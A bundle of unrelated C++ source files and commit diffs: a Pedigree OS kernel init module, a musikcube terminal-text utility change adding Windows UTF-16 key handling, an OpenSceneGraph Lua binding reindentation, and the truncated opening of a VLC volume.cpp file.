#include <network-stack/UdpLogger.h>
#include <users/UserManager.h>
#include <utilities/TimeoutGuard.h>
#include <config/ConfigurationManager.h>
#include <config/MemoryBackend.h>
#include <machine/DeviceHashTree.h>
#include <lodisk/LoDisk.h>
#include <machine/InputManager.h>
#include <ServiceManager.h>
extern void pedigree_init_sigret();
extern void pedigree_init_pthreads();
extern BootIO bootIO;
void init_stage2();
static bool bRootMounted = false;
static bool probeDisk(Disk *pDisk)
{
String alias; // Null - gets assigned by the filesystem.
if (VFS::instance().mount(pDisk, alias))
{
// For mount message
bool didMountAsRoot = false;
// Search for the root specifier, if we haven't already mounted root
if (!bRootMounted)
{
NormalStaticString s;
s += alias;
s += "»/.pedigree-root";
File* f = VFS::instance().find(String(static_cast<const char*>(s)));
if (f && !bRootMounted)
{
NOTICE("Mounted " << alias << " successfully as root.");
VFS::instance().addAlias(alias, String("root"));
bRootMounted = didMountAsRoot = true;
}
}
if(!didMountAsRoot)
{
NOTICE("Mounted " << alias << ".");
}
return false;
}
return false;
}
static bool findDisks(Device *pDev)
{
for (unsigned int i = 0; i < pDev->getNumChildren(); i++)
{
Device *pChild = pDev->getChild(i);
if (pChild->getNumChildren() == 0 && /* Only check leaf nodes. */
pChild->getType() == Device::Disk)
{
if ( probeDisk(static_cast<Disk*> (pChild)) ) return true;
}
else
{
// Recurse.
if (findDisks(pChild)) return true;
}
}
return false;
}
/// This ensures that the init module entry function will not exit until the init
/// program entry point thread is running.
Mutex g_InitProgramLoaded(true);
static void init()
{
static HugeStaticString str;
// Mount all available filesystems.
if (!findDisks(&Device::root()))
{
// FATAL("No disks found!");
}
if (VFS::instance().find(String("raw»/")) == 0)
{
FATAL("No raw partition!");
}
// Are we running a live CD?
/// \todo Use the configuration manager to determine if we're running a live CD or
/// not, to avoid the potential for conflicts here.
if(VFS::instance().find(String("root»/livedisk.img")))
{
FileDisk *pRamDisk = new FileDisk(String("root»/livedisk.img"), FileDisk::RamOnly);
if(pRamDisk && pRamDisk->initialise())
{
pRamDisk->setParent(&Device::root());
Device::root().addChild(pRamDisk);
// Mount it in the VFS
VFS::instance().removeAlias(String("root"));
bRootMounted = false;
findDisks(pRamDisk);
}
else
delete pRamDisk;
}
// Is there a root disk mounted?
if(VFS::instance().find(String("root»/.pedigree-root")) == 0)
{
#ifndef NOGFX
FATAL("No root disk (missing .pedigree-root?)");
#else
WARNING("No root disk, but nogfx builds don't need one.");
#endif
}
// Fill out the device hash table
DeviceHashTree::instance().fill(&Device::root());
#if 0
// Testing froggey's Bochs patch for magic watchpoints... -Matt
volatile uint32_t abc = 0;
NOTICE("Address of abc = " << reinterpret_cast<uintptr_t>(&abc) << "...");
asm volatile("xchg %%cx,%%cx" :: "a" (&abc));
abc = 0xdeadbeef;
abc = 0xdeadbe;
abc = 0xdead;
abc = 0xde;
abc = 0xd;
abc = 0;
FATAL("Test complete: " << abc << ".");
#endif
// Initialise user/group configuration.
UserManager::instance().initialise();
// Build routing tables - try to find a default configuration that can
// connect to the outside world
IpAddress empty;
Network *pDefaultCard = 0;
for (size_t i = 0; i < NetworkStack::instance().getNumDevices(); i++)
{
/// \todo Perhaps try and ping a remote host?
Network* card = NetworkStack::instance().getDevice(i);
StationInfo info = card->getStationInfo();
// IPv6 stateless autoconfiguration and DHCP/DHCPv6 must not happen on
// the loopback device, which has a fixed address.
if(info.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1))
{
// Auto-configure IPv6 on this card.
ServiceFeatures *pFeatures = ServiceManager::instance().enumerateOperations(String("ipv6"));
Service *pService = ServiceManager::instance().getService(String("ipv6"));
if(pFeatures->provides(ServiceFeatures::touch))
if(pService)
pService->serve(ServiceFeatures::touch, reinterpret_cast<void*>(card), sizeof(*card));
// Ask for a DHCP lease on this card
/// \todo Static configuration
pFeatures = ServiceManager::instance().enumerateOperations(String("dhcp"));
pService = ServiceManager::instance().getService(String("dhcp"));
if(pFeatures->provides(ServiceFeatures::touch))
if(pService)
pService->serve(ServiceFeatures::touch, reinterpret_cast<void*>(card), sizeof(*card));
}
StationInfo newInfo = card->getStationInfo();
// List IPv6 addresses
for(size_t i = 0; i < info.nIpv6Addresses; i++)
NOTICE("Interface " << i << " has IPv6 address " << info.ipv6[i].toString() << " (" << Dec << i << Hex << " out of " << info.nIpv6Addresses << ")");
// If the device has a gateway, set it as the default and continue
if (newInfo.gateway != empty)
{
if(!pDefaultCard)
pDefaultCard = card;
// Additionally route the complement of its subnet to the gateway
RoutingTable::instance().Add(RoutingTable::DestSubnetComplement,
newInfo.ipv4,
newInfo.subnetMask,
newInfo.gateway,
String(""),
card);
// And the actual subnet that the card is on needs to route to... the card.
RoutingTable::instance().Add(RoutingTable::DestSubnet,
newInfo.ipv4,
newInfo.subnetMask,
empty,
String(""),
card);
}
// If this isn't already the loopback device, redirect our own IP to 127.0.0.1
if(newInfo.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1))
RoutingTable::instance().Add(RoutingTable::DestIpSub, newInfo.ipv4, Network::convertToIpv4(127, 0, 0, 1), String(""), NetworkStack::instance().getLoopback());
else
RoutingTable::instance().Add(RoutingTable::DestIp, newInfo.ipv4, empty, String(""), card);
}
// Otherwise, just assume the default is interface zero
if (!pDefaultCard)
RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), NetworkStack::instance().getDevice(0));
else
RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), pDefaultCard);
#if 0
// Routes installed, start the UDP logger
UdpLogger *logger = new UdpLogger();
logger->initialise(IpAddress(Network::convertToIpv4(192, 168, 0, 1)));
Log::instance().installCallback(logger);
#endif
#ifdef NOGFX
WARNING("-- System booted - no userspace supported in nogfx builds yet. --");
#else
str += "Loading init program (root»/applications/init)\n";
bootIO.write(str, BootIO::White, BootIO::Black);
str.clear();
#ifdef THREADS
// At this point we're uninterruptible, as we're forking.
Spinlock lock;
lock.acquire();
// Create a new process for the init process.
Process *pProcess = new Process(Processor::information().getCurrentThread()->getParent());
pProcess->setUser(UserManager::instance().getUser(0));
pProcess->setGroup(UserManager::instance().getUser(0)->getDefaultGroup());
pProcess->setEffectiveUser(pProcess->getUser());
pProcess->setEffectiveGroup(pProcess->getGroup());
pProcess->description().clear();
pProcess->description().append("init");
pProcess->setCwd(VFS::instance().find(String("root»/")));
pProcess->setCtty(0);
PosixSubsystem *pSubsystem = new PosixSubsystem;
pProcess->setSubsystem(pSubsystem);
new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(&init_stage2), 0x0 /* parameter */);
lock.release();
// Wait for the program to load
g_InitProgramLoaded.acquire();
#else
#warning the init module is almost useless without threads.
#endif
#endif
}
static void destroy()
{
}
extern void system_reset();
void init_stage2()
{
// Load initial program.
//File* initProg = VFS::instance().find(String("root»/applications/TUI"));
String fname = String("root»/applications/init");
File* initProg = VFS::instance().find(fname);
if (!initProg)
{
FATAL("INIT: FileNotFound!!");
return;
}
NOTICE("INIT: File found");
NOTICE("INIT: name: " << fname);
// That will have forked - we don't want to fork, so clear out all the chaff
// in the new address space that's not in the kernel address space so we
// have a clean slate.
Process *pProcess = Processor::information().getCurrentThread()->getParent();
pProcess->getSpaceAllocator().clear();
pProcess->getSpaceAllocator().free(0x00100000, 0x50000000);
pProcess->getAddressSpace()->revertToKernelAddressSpace();
DynamicLinker *pLinker = new DynamicLinker();
pProcess->setLinker(pLinker);
// Should we actually load this file, or request another program load the file?
String interpreter("");
if(pLinker->checkInterpreter(initProg, interpreter))
{
// Switch to the interpreter.
String realInterpreter("root»");
realInterpreter += interpreter;
initProg = VFS::instance().find(realInterpreter);
if(!initProg)
{
FATAL("Unable to load init program interpreter " << realInterpreter << "!");
return;
}
}
if (!pLinker->loadProgram(initProg))
{
FATAL("Init program failed to load!");
}
for (int j = 0; j < 0x21000; j += 0x1000)
{
physical_uintptr_t phys = PhysicalMemoryManager::instance().allocatePage();
bool b = Processor::information().getVirtualAddressSpace().map(phys, reinterpret_cast<void*> (j+0x20000000), VirtualAddressSpace::Write);
if (!b)
WARNING("map() failed in init");
}
// Initialise the sigret and pthreads shizzle.
pedigree_init_sigret();
pedigree_init_pthreads();
class RunInitEvent : public Event
{
public:
RunInitEvent(uintptr_t addr) : Event(addr, true)
{}
size_t serialize(uint8_t *pBuffer)
{return 0;}
size_t getNumber() {return ~0UL;}
};
// Find the init function location, if it exists.
uintptr_t initLoc = pLinker->getProgramElf()->getInitFunc();
if (initLoc)
{
NOTICE("initLoc active: " << initLoc);
RunInitEvent *ev = new RunInitEvent(initLoc);
// Poke the initLoc so we know it's mapped in!
volatile uintptr_t *vInitLoc = reinterpret_cast<volatile uintptr_t*> (initLoc);
volatile uintptr_t tmp = * vInitLoc;
*vInitLoc = tmp; // GCC can't ignore a write.
asm volatile("" :::"memory"); // Memory barrier.
Processor::information().getCurrentThread()->sendEvent(ev);
// Yield, so the code gets run before we return.
Scheduler::instance().yield();
}
uintptr_t *argv_loc = reinterpret_cast<uintptr_t *>(0x20020000);
memset(argv_loc, 0, PhysicalMemoryManager::instance().getPageSize());
argv_loc[0] = reinterpret_cast<uintptr_t>(&argv_loc[2]);
memcpy(&argv_loc[2], static_cast<const char *>(fname), fname.length());
uintptr_t *env_loc = reinterpret_cast<uintptr_t *>(0x20020400);
uintptr_t *stack = reinterpret_cast<uintptr_t*>(0x20020000 - 24);
#if 0
system_reset();
#else
// Alrighty - lets create a new thread for this program - -8 as PPC assumes the previous stack frame is available...
new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(pLinker->getProgramElf()->getEntryPoint()), argv_loc /* parameter */, reinterpret_cast<void*>(stack) /* Stack */);
g_InitProgramLoaded.release();
#endif
}
#ifdef X86_COMMON
#define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "vbe", "users", "pedigree-c", "native"
#elif PPC_COMMON
#define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "users", "pedigree-c", "native"
#elif ARM_COMMON
#define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "linker", "network-stack", "users", "pedigree-c", "native"
#endif
MODULE_INFO("init", &init, &destroy, __MOD_DEPS);
<|endoftext|>
|
<commit_before>//////////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2004-2019 musikcube team
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of the author nor the names of other contributors may
// be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////////
#include <stdafx.h>
#include <cursespp/curses_config.h>
#include <cursespp/Text.h>
#include <math.h>
#include <unordered_map>
#include <algorithm>
#define PAD(str, count) for (size_t i = 0; i < count; i++) { str += " "; }
namespace cursespp {
namespace text {
std::string Truncate(const std::string& str, size_t len) {
/* not a simple substr anymore, gotta deal with multi-byte
characters... */
if (u8cols(str) > len) {
auto prev = str.begin();
auto it = str.begin();
auto end = str.end();
size_t cols = 0;
while (cols <= len && it != str.end()) {
prev = it;
try {
utf8::next(it, end);
}
catch (...) {
/* invalid encoding, just treat as a single char */
++it;
}
cols += u8cols(std::string(prev, it));
}
return std::string(str.begin(), prev);
}
return str;
}
std::string Ellipsize(const std::string& str, size_t len) {
if (u8cols(str) > len) {
std::string trunc = Truncate(str, len - 2);
size_t tlen = u8cols(trunc);
for (size_t i = tlen; i < len; i++) {
trunc += ".";
}
return trunc;
}
return str;
}
std::string Align(const std::string& str, TextAlign align, size_t cx) {
size_t len = u8cols(str);
if (len > cx) {
return Ellipsize(str, cx);
}
else if (align == AlignLeft) {
size_t pad = cx - len;
std::string left = str;
PAD(left, pad);
return left;
}
else {
size_t leftPad = (align == AlignRight)
? (cx - len)
: (cx - len) / 2;
size_t rightPad = cx - (leftPad + len);
std::string padded;
PAD(padded, leftPad);
padded += str;
PAD(padded, rightPad);
return padded;
}
}
/* not rocket science, but stolen from http://stackoverflow.com/a/1493195 */
std::vector<std::string> Split(const std::string& str, const std::string& delimiters, bool trimEmpty) {
using ContainerT = std::vector<std::string>;
ContainerT tokens;
std::string::size_type pos, lastPos = 0, length = str.length();
using value_type = typename ContainerT::value_type;
using size_type = typename ContainerT::size_type;
while (lastPos < length + 1) {
pos = str.find_first_of(delimiters, lastPos);
if (pos == std::string::npos) {
pos = length;
}
if (pos != lastPos || !trimEmpty) {
tokens.push_back(value_type(
str.data() + lastPos,
(size_type) pos - lastPos));
}
lastPos = pos + 1;
}
return tokens;
}
inline void privateBreakLines(
const std::string& line,
size_t width,
std::vector<std::string>& output)
{
size_t len = u8cols(line);
size_t count = (int)ceil((float)len / (float)width);
/* easy case: the line fits on a single line! */
if (count <= 1) {
output.push_back(line);
}
/* difficult case: the line needs to be split multiple sub-lines to fit
the output display */
else {
/* split by whitespace */
std::vector<std::string> words = Split(line, " \t\v\f\r");
/* this isn't super efficient, but let's find all words that are greater
than the width and break them into more sublines... it's possible to
do this more efficiently in the loop below this with a bunch of additional
logic, but let's keep things simple unless we run into performance
problems! */
std::vector<std::string> sanitizedWords;
for (size_t i = 0; i < words.size(); i++) {
std::string word = words.at(i);
size_t len = u8cols(word);
/* this word is fine, it'll easily fit on its own line of necessary */
if (width >= len) {
sanitizedWords.push_back(word);
}
/* otherwise, the word needs to be broken into multiple lines. */
else {
std::string accum;
/* ugh, we gotta split on UTF8 characters, not actual characters.
this makes things a bit more difficult... we iterate over the string
one displayable character at a time, and break it apart into separate
lines as necessary. */
std::string::iterator begin = word.begin();
std::string::iterator end = word.begin();
int count = 0;
bool done = false;
while (end != word.end()) {
utf8::unchecked::next(end);
++count;
if (count == width || end == word.end()) {
sanitizedWords.push_back(std::string(begin, end));
begin = end;
count = 0;
}
}
}
}
words.clear();
/* now we have a bunch of tokenized words. let's string them together
into sequences that fit in the output window's width */
std::string accum;
size_t accumLength = 0;
for (size_t i = 0; i < sanitizedWords.size(); i++) {
std::string word = sanitizedWords.at(i);
size_t wordLength = u8cols(word);
size_t extra = (i != 0);
/* we have enough space for this new word. accumulate it. */
if (accumLength + extra + wordLength <= width) {
if (extra) {
accum += " ";
}
accum += word;
accumLength += wordLength + extra;
}
/* otherwise, flush the current line, and start a new one... */
else {
if (accum.size()) {
output.push_back(accum);
}
/* special case -- if the word is the exactly length of the
width, just add it as a new line and reset... */
if (wordLength == width) {
output.push_back(word);
accum = "";
accumLength = 0;
}
/* otherwise, let's start accumulating a new line! */
else {
accum = word;
accumLength = wordLength;
}
}
}
if (accum.size()) {
output.push_back(accum);
}
}
}
std::vector<std::string> BreakLines(const std::string& line, size_t width) {
std::vector<std::string> result;
if (width > 0) {
std::vector<std::string> split = Split(line, "\n");
for (size_t i = 0; i < split.size(); i++) {
privateBreakLines(split.at(i), width, result);
}
}
return result;
}
}
namespace key {
static std::unordered_map<std::string, std::string> KEY_MAPPING = {
{ "M-~", "M-`" },
{ "M-bquote", "M-`" },
{ "^@", "M-`" },
{ "M-comma", "M-," },
{ "M-stop", "M-." },
{ "^H", "KEY_BACKSPACE" },
{ "^?", "KEY_BACKSPACE" },
{ "M-^H", "M-KEY_BACKSPACE" },
{ "M-^?", "M-KEY_BACKSPACE" },
{ "M-bksp", "M-KEY_BACKSPACE" },
{ "^M", "KEY_ENTER" },
{ "M-^M", "M-enter" },
{ "kUP3", "M-up" },
{ "kDN3", "M-down" },
{ "M-KEY_UP", "M-up" },
{ "M-KEY_DOWN", "M-down" },
{ "kUP5", "CTL_UP" },
{ "kDN5", "CTL_DOWN" }
};
std::string Normalize(const std::string& kn) {
auto it = KEY_MAPPING.find(kn);
return (it != KEY_MAPPING.end()) ? it->second : kn;
}
std::string Read(int64_t ch) {
std::string kn = keyname((int)ch);
/* convert +ESC to M- sequences */
if (kn == "^[") {
int64_t next = getch();
if (next != -1) {
kn = std::string("M-") + std::string(keyname((int)next));
}
}
#ifdef WIN32
/* transform alt->meta for uniform handling */
else if (kn.find("ALT_") == 0) {
std::transform(kn.begin(), kn.end(), kn.begin(), tolower);
kn.replace(0, 4, "M-");
}
#endif
/* multi-byte UTF8 character */
else if (ch >= 194 && ch <= 223) {
kn = "";
kn += (char) ch;
kn += (char) getch();
}
else if (ch >= 224 && ch <= 239) {
kn = "";
kn += (char) ch;
kn += (char) getch();
kn += (char) getch();
}
else if (ch >= 240 && ch <= 244) {
kn = "";
kn += (char) ch;
kn += (char) getch();
kn += (char) getch();
kn += (char) getch();
}
kn = Normalize(kn);
// std::cerr << "keyname: " << kn << std::endl;
// std::cerr << "ch: " << ch << std::endl;
return kn;
}
}
}
<commit_msg>Fixed key parsing on non-US keyboards, for non-Latin characters in Windows<commit_after>//////////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2004-2019 musikcube team
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of the author nor the names of other contributors may
// be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////////
#include <stdafx.h>
#include <cursespp/curses_config.h>
#include <cursespp/Text.h>
#include <math.h>
#include <unordered_map>
#include <algorithm>
#define PAD(str, count) for (size_t i = 0; i < count; i++) { str += " "; }
namespace cursespp {
namespace text {
std::string Truncate(const std::string& str, size_t len) {
/* not a simple substr anymore, gotta deal with multi-byte
characters... */
if (u8cols(str) > len) {
auto prev = str.begin();
auto it = str.begin();
auto end = str.end();
size_t cols = 0;
while (cols <= len && it != str.end()) {
prev = it;
try {
utf8::next(it, end);
}
catch (...) {
/* invalid encoding, just treat as a single char */
++it;
}
cols += u8cols(std::string(prev, it));
}
return std::string(str.begin(), prev);
}
return str;
}
std::string Ellipsize(const std::string& str, size_t len) {
if (u8cols(str) > len) {
std::string trunc = Truncate(str, len - 2);
size_t tlen = u8cols(trunc);
for (size_t i = tlen; i < len; i++) {
trunc += ".";
}
return trunc;
}
return str;
}
std::string Align(const std::string& str, TextAlign align, size_t cx) {
size_t len = u8cols(str);
if (len > cx) {
return Ellipsize(str, cx);
}
else if (align == AlignLeft) {
size_t pad = cx - len;
std::string left = str;
PAD(left, pad);
return left;
}
else {
size_t leftPad = (align == AlignRight)
? (cx - len)
: (cx - len) / 2;
size_t rightPad = cx - (leftPad + len);
std::string padded;
PAD(padded, leftPad);
padded += str;
PAD(padded, rightPad);
return padded;
}
}
/* not rocket science, but stolen from http://stackoverflow.com/a/1493195 */
std::vector<std::string> Split(const std::string& str, const std::string& delimiters, bool trimEmpty) {
using ContainerT = std::vector<std::string>;
ContainerT tokens;
std::string::size_type pos, lastPos = 0, length = str.length();
using value_type = typename ContainerT::value_type;
using size_type = typename ContainerT::size_type;
while (lastPos < length + 1) {
pos = str.find_first_of(delimiters, lastPos);
if (pos == std::string::npos) {
pos = length;
}
if (pos != lastPos || !trimEmpty) {
tokens.push_back(value_type(
str.data() + lastPos,
(size_type) pos - lastPos));
}
lastPos = pos + 1;
}
return tokens;
}
inline void privateBreakLines(
const std::string& line,
size_t width,
std::vector<std::string>& output)
{
size_t len = u8cols(line);
size_t count = (int)ceil((float)len / (float)width);
/* easy case: the line fits on a single line! */
if (count <= 1) {
output.push_back(line);
}
/* difficult case: the line needs to be split multiple sub-lines to fit
the output display */
else {
/* split by whitespace */
std::vector<std::string> words = Split(line, " \t\v\f\r");
/* this isn't super efficient, but let's find all words that are greater
than the width and break them into more sublines... it's possible to
do this more efficiently in the loop below this with a bunch of additional
logic, but let's keep things simple unless we run into performance
problems! */
std::vector<std::string> sanitizedWords;
for (size_t i = 0; i < words.size(); i++) {
std::string word = words.at(i);
size_t len = u8cols(word);
/* this word is fine, it'll easily fit on its own line of necessary */
if (width >= len) {
sanitizedWords.push_back(word);
}
/* otherwise, the word needs to be broken into multiple lines. */
else {
std::string accum;
/* ugh, we gotta split on UTF8 characters, not actual characters.
this makes things a bit more difficult... we iterate over the string
one displayable character at a time, and break it apart into separate
lines as necessary. */
std::string::iterator begin = word.begin();
std::string::iterator end = word.begin();
int count = 0;
bool done = false;
while (end != word.end()) {
utf8::unchecked::next(end);
++count;
if (count == width || end == word.end()) {
sanitizedWords.push_back(std::string(begin, end));
begin = end;
count = 0;
}
}
}
}
words.clear();
/* now we have a bunch of tokenized words. let's string them together
into sequences that fit in the output window's width */
std::string accum;
size_t accumLength = 0;
for (size_t i = 0; i < sanitizedWords.size(); i++) {
std::string word = sanitizedWords.at(i);
size_t wordLength = u8cols(word);
size_t extra = (i != 0);
/* we have enough space for this new word. accumulate it. */
if (accumLength + extra + wordLength <= width) {
if (extra) {
accum += " ";
}
accum += word;
accumLength += wordLength + extra;
}
/* otherwise, flush the current line, and start a new one... */
else {
if (accum.size()) {
output.push_back(accum);
}
/* special case -- if the word is the exactly length of the
width, just add it as a new line and reset... */
if (wordLength == width) {
output.push_back(word);
accum = "";
accumLength = 0;
}
/* otherwise, let's start accumulating a new line! */
else {
accum = word;
accumLength = wordLength;
}
}
}
if (accum.size()) {
output.push_back(accum);
}
}
}
std::vector<std::string> BreakLines(const std::string& line, size_t width) {
std::vector<std::string> result;
if (width > 0) {
std::vector<std::string> split = Split(line, "\n");
for (size_t i = 0; i < split.size(); i++) {
privateBreakLines(split.at(i), width, result);
}
}
return result;
}
}
namespace key {
static std::unordered_map<std::string, std::string> KEY_MAPPING = {
{ "M-~", "M-`" },
{ "M-bquote", "M-`" },
{ "^@", "M-`" },
{ "M-comma", "M-," },
{ "M-stop", "M-." },
{ "^H", "KEY_BACKSPACE" },
{ "^?", "KEY_BACKSPACE" },
{ "M-^H", "M-KEY_BACKSPACE" },
{ "M-^?", "M-KEY_BACKSPACE" },
{ "M-bksp", "M-KEY_BACKSPACE" },
{ "^M", "KEY_ENTER" },
{ "M-^M", "M-enter" },
{ "kUP3", "M-up" },
{ "kDN3", "M-down" },
{ "M-KEY_UP", "M-up" },
{ "M-KEY_DOWN", "M-down" },
{ "kUP5", "CTL_UP" },
{ "kDN5", "CTL_DOWN" }
};
std::string Normalize(const std::string& kn) {
auto it = KEY_MAPPING.find(kn);
return (it != KEY_MAPPING.end()) ? it->second : kn;
}
std::string Read(int64_t ch) {
std::string kn = keyname((int)ch);
/* convert +ESC to M- sequences */
if (kn == "^[") {
int64_t next = getch();
if (next != -1) {
kn = std::string("M-") + std::string(keyname((int)next));
}
}
#ifdef WIN32
/* transform alt->meta for uniform handling */
else if (kn.find("ALT_") == 0) {
std::transform(kn.begin(), kn.end(), kn.begin(), tolower);
kn.replace(0, 4, "M-");
}
#endif
/* multi-byte UTF8 character */
else if (ch >= 194 && ch <= 223) {
kn = "";
kn += (char) ch;
kn += (char) getch();
}
else if (ch >= 224 && ch <= 239) {
kn = "";
kn += (char) ch;
kn += (char) getch();
kn += (char) getch();
}
else if (ch >= 240 && ch <= 244) {
kn = "";
kn += (char) ch;
kn += (char) getch();
kn += (char) getch();
kn += (char) getch();
}
kn = Normalize(kn);
#ifdef WIN32
/* seems like on Windows using PDCurses, if a non-English keyboard
is selected (like Russian) we receive a UTF16 character, not an
encoded UTF8 character. in this case, let's convert it to a UTF8
string and return that. */
if (kn == "UNKNOWN KEY" && ch > 244) {
kn = u16to8(std::wstring(1, (wchar_t)ch));
}
#endif
// std::cerr << "keyname: " << kn << std::endl;
// std::cerr << "ch: " << ch << std::endl;
return kn;
}
}
}
<|endoftext|>
|
<commit_before>#include "osg/Group"
#include "lua.hpp"
#include "nodescriptresulthandler.h"
#include "luabinding.h"
static osg::Node* convertToOsgNode(lua_State *luaState, int index);
NodeScriptResultHandler::NodeScriptResultHandler() :
ScriptResultHandler(ScriptResultHandler::UNLIMITED_RESULTS)
{
}
NodeScriptResultHandler::~NodeScriptResultHandler()
{
}
void NodeScriptResultHandler::handle(lua_State *luaState, unsigned int nbResults)
{
if (nbResults == 0)
{
_node = 0;
}
else if (nbResults == 1)
{
_node = convertToOsgNode(luaState, -1);
}
else
{
osg::ref_ptr<osg::Group> group = new osg::Group;
for (unsigned int i = nbResults; i > 0; --i)
{
osg::Node *node = convertToOsgNode(luaState, -i);
group->addChild(node);
}
if (group->getNumChildren() == 1)
{
_node = group->getChild(0);
}
else if (group->getNumChildren() > 0)
{
_node = group;
}
}
}
static osg::Node* convertToOsgNode(lua_State *luaState, int index)
{
osg::ref_ptr<osg::Node> node = lua_toOsgNode(luaState, index);
if (!node && lua_istable(luaState, index) && lua_checkstack(luaState, 2))
{
int tableIndex = index >= 0 ? index : index-1;
osg::ref_ptr<osg::Group> group = new osg::Group;
lua_pushnil(luaState); /* first key */
while (lua_next(luaState, tableIndex) != 0) {
osg::Node *tableNode = convertToOsgNode(luaState, -1);
group->addChild(tableNode);
lua_pop(luaState, 1);
}
if (group->getNumChildren() == 1) {
node = group->getChild(0);
}
else if (group->getNumChildren() > 0)
{
node = group;
}
}
return node.release();
}
<commit_msg>correct indentation<commit_after>#include "osg/Group"
#include "lua.hpp"
#include "nodescriptresulthandler.h"
#include "luabinding.h"
static osg::Node* convertToOsgNode(lua_State *luaState, int index);
NodeScriptResultHandler::NodeScriptResultHandler() :
ScriptResultHandler(ScriptResultHandler::UNLIMITED_RESULTS)
{
}
NodeScriptResultHandler::~NodeScriptResultHandler()
{
}
void NodeScriptResultHandler::handle(lua_State *luaState, unsigned int nbResults)
{
if (nbResults == 0)
{
_node = 0;
}
else if (nbResults == 1)
{
_node = convertToOsgNode(luaState, -1);
}
else
{
osg::ref_ptr<osg::Group> group = new osg::Group;
for (unsigned int i = nbResults; i > 0; --i)
{
osg::Node *node = convertToOsgNode(luaState, -i);
group->addChild(node);
}
if (group->getNumChildren() == 1)
{
_node = group->getChild(0);
}
else if (group->getNumChildren() > 0)
{
_node = group;
}
}
}
static osg::Node* convertToOsgNode(lua_State *luaState, int index)
{
osg::ref_ptr<osg::Node> node = lua_toOsgNode(luaState, index);
if (!node && lua_istable(luaState, index) && lua_checkstack(luaState, 2))
{
int tableIndex = index >= 0 ? index : index-1;
osg::ref_ptr<osg::Group> group = new osg::Group;
lua_pushnil(luaState); /* first key */
while (lua_next(luaState, tableIndex) != 0)
{
osg::Node *tableNode = convertToOsgNode(luaState, -1);
group->addChild(tableNode);
lua_pop(luaState, 1);
}
if (group->getNumChildren() == 1)
{
node = group->getChild(0);
}
else if (group->getNumChildren() > 0)
{
node = group;
}
}
return node.release();
}
<|endoftext|>
|
<commit_before>/*****************************************************************************
* volume.cpp
*****************************************************************************
* Copyright (C) 2003 the VideoLAN team
* $Id$
*
* Authors: Cyril Deguet <asmax@via.ecp.fr>
* Olivier Teulière <ipkiss@via.ecp.fr>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
*****************************************************************************/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <vlc_common.h>
